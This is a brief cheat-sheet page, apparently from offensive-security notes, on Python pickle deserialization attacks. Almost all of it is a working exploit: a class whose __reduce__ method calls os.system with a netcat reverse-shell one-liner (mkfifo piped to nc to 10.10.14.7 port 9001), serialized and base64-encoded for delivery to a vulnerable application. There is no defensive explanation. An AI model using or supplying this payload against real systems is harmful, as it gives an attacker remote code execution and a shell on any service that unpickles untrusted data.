Skip to main content

Object Serialization

Pickle lib

This code generates base64 output of the pickle object.

import pickle
from base64 import urlsafe_b64encode as b64encode

REVSHELL = """rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 9001 >/tmp/f"""

class FuncExp(object):
def __reduce__(self):
import os
return (os.system,(REVSHELL,))

# Calling the function to generate the base64encoded out of the FuncExp object
print b64encode(pickle.dumps(FuncExp()))